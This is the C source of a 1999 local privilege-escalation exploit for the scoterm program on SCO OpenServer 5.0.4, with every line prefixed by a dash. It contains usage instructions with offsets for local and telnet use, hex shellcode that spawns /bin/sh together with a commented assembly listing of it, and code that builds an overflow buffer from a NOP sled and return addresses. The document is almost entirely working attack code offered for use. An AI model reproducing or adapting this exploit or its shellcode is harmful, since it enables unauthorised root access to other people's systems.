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-
- /*
- * <scotermx.c> Local root exploit
- *
- * Offset: scoterm (SCO OpenServer 5.0.4)
- * 0 -> From an open scoterm (without display parameter)
- * 2500 -> From remote telnet (with display parameter)
- *
- * Usage:
- * $ cc scotermx.c -o scotermx
- * $ scoterm
- * $ /usr/bin/X11/scoterm -geometry `scotermx 0`
- * or
- * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `scotermx 2500`
- *
- * Note: scoterm need to be run from a valid x-display
- *
- * By: The Dark Raver of CPNE (Murcia/Spain - 21/6/99)
- *
- * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
- *
- */
-
-
- #include <stdlib.h>
- #include <stdio.h>
-
-
- char hell[]=
- "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
- "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
- "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
-
- /*
- char hell[]=
- "\xeb\x1b" // start: jmp uno
- "\x5e" // dos: popl %esi
- "\x31\xdb" // xorl %ebx,%ebx
- "\x89\x5e\x07" // movb %bl,0x7(%esi)
- "\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
- "\x88\x5e\x11" // movb %bl,0x11(%esi)
- "\x31\xc0" // xorl %eax,%eax
- "\xb0\x3b" // movb $0x3b,%al
- "\x8d\x7e\x07" // leal 0x07(%esi),%edi
- "\x89\xf9" // movl %edi,%ecx
- "\x53" // pushl %ebx
- "\x51" // pushl %ecx
- "\x56" // pushl %esi
- "\x56" // pushl %esi
- "\xeb\x10" // jmp execve
- "\xe8\xe0\xff\xff\xff" // uno: call dos
- "/bin/sh"
- "\xaa\xaa\xaa\xaa"
- "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
- */
-
-
- #define OFF 0x80452ff // SCO OpenServer 5.0.4
- #define ALINEA 1
- #define LEN 2000
-
-
- int main(int argc, char *argv[]) {
-
- int offset=0;
- char buf[LEN];
- int i;
-
- if(argc < 2) {
- printf("Usage: scotermx <offset>\n");
- exit(0); }
- else {
- offset=atoi(argv[1]); }
-
- memset(buf,0x90,LEN);
- memcpy(buf+1000,hell,strlen(hell));
- for(i=1100+ALINEA;i<LEN-4;i+=4)
- *(int *)&buf[i]=OFF+offset;
-
- for(i=0;i<LEN;i++)
- putchar(buf[i]);
-
- exit(0);
- }
-